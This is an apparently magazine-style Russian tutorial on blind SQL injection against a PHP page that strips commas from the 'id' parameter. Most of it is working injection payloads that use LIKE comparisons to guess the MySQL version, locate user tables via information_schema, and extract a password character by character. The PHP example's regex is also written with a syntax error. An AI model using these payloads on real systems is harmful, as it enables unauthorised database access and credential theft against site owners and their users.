Задача не банальная. Хоть и встречается
редко, но, как правило, ставит в тупик многих людей. Допустим,
мы имеем такой код:
<?php
if(isset($_GET['id']) && $_GET['id']!=''){
$replaced = preg_replace(/,/,'',$_GET);
....
здесь какие-то запросы с использованием переменной $replaced
К чему же мы приходим? Невозможно использовать конструкцию
union select, если в запросе участвует больше 2-х полей. ОК,
крутим как слепую, скажешь ты. Но в данном случае большинство
известных способов, таких как использование функций substring(),
mid(), ExtractValue(), а также последние наработки Qwazar'a в
области раскрутки слепых инъекций работать не будут. Что же
делать? Будем использовать логику SQL-выражений, и здесь поможет
нам LIKE.
Для начала узнаем версию:
id=1 and version() like '4%'--
Если запрос не удался, значит, версия отличная от 4*. Пробуем
по-другому:
id=1 and version() like '5%'--
ОК, запрос такой же, как и при
id=1 and 1=1--
А это значит, что первый символ версии мы подобрали успешно.
Я думаю, ты понял, что делать дальше, но я все же покажу.
Узнаем названия таблиц в information_schema.tables; желательно
знать примерное название колонки, если нас интересует таблица с
юзерами, я делаю обычно так:
id=1 and (select 1 from information_schema.columns
where column_name like '%pass%' and table_name like 'u%')--
В данной конструкции '%pass%' остается неизменным, а
подбираем мы именно table_name. Если первый запрос прошел
удачно, тогда пробуем подобрать второй из символов:
id=1 and (select 1 from information_schema.columns
where column_name like '%pass%' and table_name like 'us%')--
И так далее. Предположим, мы получили имя таблицы users и
колонки username, password,id. Составим запрос на получение
пароля из базы
id=1 and (select 1 from users where id=1 and password
like 'q%')--
Подбирается по образу и подобию предыдущих запросов. Символ %
в конструкции LIKE говорит о том, что после 'q' находится 1 и
более любых символов.